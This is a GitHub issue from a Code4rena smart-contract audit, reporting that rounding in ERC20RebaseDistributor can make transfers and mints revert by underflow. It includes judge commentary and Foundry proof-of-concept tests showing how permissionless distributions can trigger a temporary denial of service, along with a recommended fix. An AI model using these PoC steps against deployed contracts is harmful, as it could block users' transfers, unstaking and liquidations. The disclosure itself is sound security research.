-
Notifications
You must be signed in to change notification settings - Fork 11
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Rounding errors can cause ERC20RebaseDistributor transfers and mints to fail for underflow #294
Comments
0xSorryNotSorry marked the issue as sufficient quality report |
0xSorryNotSorry marked the issue as primary issue |
eswak (sponsor) confirmed |
Trumpero marked the issue as satisfactory |
Trumpero marked the issue as selected for report |
After carefully reviewing the report and discussing it with other auditors, I believe that the severity of this issue should be reassessed. The problem is that division rounds down and more divisions result in greater precision loss. Specifically, in this report, the calculation of Proof of ConceptThe variable uint256 toSharesAfter = _balance2shares(toBalanceAfter, _rebasingSharePrice);
function _balance2shares(
uint256 balance,
uint256 sharePrice
) internal pure returns (uint256) {
return (balance * START_REBASING_SHARE_PRICE) / sharePrice;
}
The uint256 rawToBalanceAfter = ERC20.balanceOf(to);
uint256 toBalanceAfter = _shares2balance(
rebasingStateTo.nShares,
_rebasingSharePrice,
amount,
rawToBalanceAfter
); The It is important to note that the uint256 _rebasingSharePrice = (rebasingStateFrom.isRebasing == 1 || rebasingStateTo.isRebasing == 1)
? rebasingSharePrice()
: 0; // only SLOAD if at least one address is rebasing
function rebasingSharePrice() public view returns (uint256) {
return interpolatedValue(__rebasingSharePrice);
}
function interpolatedValue(
InterpolatedValue memory val
) internal view returns (uint256) {
// load state
uint256 lastTimestamp = uint256(val.lastTimestamp); // safe upcast
uint256 lastValue = uint256(val.lastValue); // safe upcast
uint256 targetTimestamp = uint256(val.targetTimestamp); // safe upcast
uint256 targetValue = uint256(val.targetValue); // safe upcast
// interpolate increase over period
if (block.timestamp >= targetTimestamp) {
// if period is passed, return target value
return targetValue;
} else {
// block.timestamp is within [lastTimestamp, targetTimestamp[
uint256 elapsed = block.timestamp - lastTimestamp;
uint256 delta = targetValue - lastValue;
return lastValue + (delta * elapsed) / (targetTimestamp - lastTimestamp);//note linear unlock
}
} Next, we determine the amount of time needed for the rounding error to disappear. The result is 31 seconds. Please add the following test to the function test_issue294() public {
// create/grant role
vm.startPrank(governor);
core.createRole(CoreRoles.CREDIT_MINTER, CoreRoles.GOVERNOR);
core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
core.grantRole(CoreRoles.CREDIT_REBASE_PARAMETERS, address(this));
vm.stopPrank();
token.mint(address(1), 100e18);
vm.prank(address(1));
token.enterRebase();
token.mint(address(2), 6e11);
vm.prank(address(2));
token.distribute(6e11);
vm.warp(block.timestamp + 2 seconds);
token.mint(address(2), 3e12);
vm.prank(address(2));
token.distribute(3e12);
vm.warp(block.timestamp + 31 seconds); //note wait for 31 seconds
token.mint(address(3), 1e20);
vm.startPrank(address(3));
// this works
// vm.expectRevert();
token.transfer(address(1), 1e20);
vm.stopPrank();
// this works
// vm.expectRevert();
token.mint(address(1), 1e20);
// this works
vm.startPrank(address(1));
// vm.expectRevert();
token.exitRebase();
vm.stopPrank();
// this works
vm.startPrank(address(1));
// vm.expectRevert();
token.transfer(address(3), 1e20);
// this works
token.approve(address(3), 1e20);
vm.startPrank(address(3));
// vm.expectRevert();
token.transferFrom(address(1), address(3), 1e20);
vm.stopPrank();
}
|
Hi, while the attack in the PoC is temporary, new small-amount distributions (which are permissionless) with appropriate timing and amounts can be made to make the DoS last longer. |
Upon further investigation, I found that if we remove the function test_issue294_removeVmWarp() public {
// create/grant role
vm.startPrank(governor);
core.createRole(CoreRoles.CREDIT_MINTER, CoreRoles.GOVERNOR);
core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
core.grantRole(CoreRoles.CREDIT_REBASE_PARAMETERS, address(this));
vm.stopPrank();
token.mint(address(1), 100e18);
vm.prank(address(1));
token.enterRebase();
token.mint(address(2), 6e11);
vm.prank(address(2));
token.distribute(6e11);
// vm.warp(block.timestamp + 2 seconds);
token.mint(address(2), 3e12);
vm.prank(address(2));
token.distribute(3e12);
// vm.warp(block.timestamp + 31 seconds); //note no need to wait anymore
token.mint(address(3), 1e20);
vm.startPrank(address(3));
// this works
// vm.expectRevert();
token.transfer(address(1), 1e20);
vm.stopPrank();
// this works
// vm.expectRevert();
token.mint(address(1), 1e20);
// this works
vm.startPrank(address(1));
// vm.expectRevert();
token.exitRebase();
vm.stopPrank();
// this works
vm.startPrank(address(1));
// vm.expectRevert();
token.transfer(address(3), 1e20);
// this works
token.approve(address(3), 1e20);
vm.startPrank(address(3));
// vm.expectRevert();
token.transferFrom(address(1), address(3), 1e20);
vm.stopPrank();
}
|
Although the likelihood is low, the impact of this issue is significant since it can brick Credit token's minting and transferring, potentially preventing users from unstaking from SurplusGuildMinter in certain cases. The duration of the Denial of Service (DoS) attack is temporary, but users may not be able to unstake promptly to avoid being slashed in SurplusGuildMinter. Therefore, medium severity is appropriate. |
Lines of code
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L618
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L531
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L594
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L688
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L712
Vulnerability details
When calculating share changes during ERC20RebaseDistributor token transfers, the logic computes the share delta as follows:
It is possible that due to rounding,
rebasingStateTo.nShares
is higher thantoSharesAfter
by1 wei
, causing the transfer to fail.A similar issue can happen when unminted rewards are taken off the rebase pool:
where it is possible that
amount
is higher than_unmintedRebaseRewards
, introducing also in this place a revert condition.Impact
Transfers and mints from or towards addresses that are rebasing may fail in real-world scenarios. This failure can be used as a means to DoS sensitive operations like liquidations. Addresses who enter this scenario aren't also able to exit rebase to fix their transfers.
Proof of Concept
Below a foundry PoC (full setup here) which shows a scenario where a transfer (or mint) to a rebasing user can fail by underflow on the
_unmintedRebaseRewards - amount
operation:With lower impact because involving a zero-value transfer, the following PoC in Foundry (the full runnable test can be found here) shows a transfer failing on the
toSharesAfter - rebasingStateTo.nShares
operation:Tools Used
Code review, Foundry
Recommended Mitigation Steps
Consider adapting shares calculations to tolerate rounding fluctuations i.e. by flooring to 0 the mentioned subtractions.
Assessed type
Token-Transfer
The text was updated successfully, but these errors were encountered: